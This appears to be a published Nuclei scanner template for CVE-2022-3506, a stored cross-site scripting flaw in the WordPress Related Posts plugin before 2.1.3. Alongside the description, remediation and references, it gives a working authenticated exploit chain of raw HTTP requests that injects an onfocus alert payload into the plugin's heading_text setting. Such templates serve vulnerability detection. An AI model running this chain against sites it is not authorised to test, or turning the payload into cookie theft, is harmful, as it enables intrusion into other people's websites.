WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2022-3506
info:
name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
author: arafatansari
severity: medium
description: |
WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
remediation: |
Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
reference:
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-3506
cwe-id: CWE-79
epss-score: 0.05798
epss-percentile: 0.9016
cpe: cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: never5
product: related_posts
framework: wordpress
tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
- |
GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(header_4, 'text/html')"
- "status_code_4 == 200"
- 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
- "contains(body_4, 'The amount of automatically')"
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-z]+)" />'
internal: true
part: body
# digest: 4a0a00473045022100b1a20783079a83821af3f6bb2acd0e9b55229ddab7b6c281ab0af6d0ee2f1a6402207e49e8d2b02ede74882f709c40a048f77de185a5f339d60b78e620329db70997:922c64590222798bb761d5b6d8e72950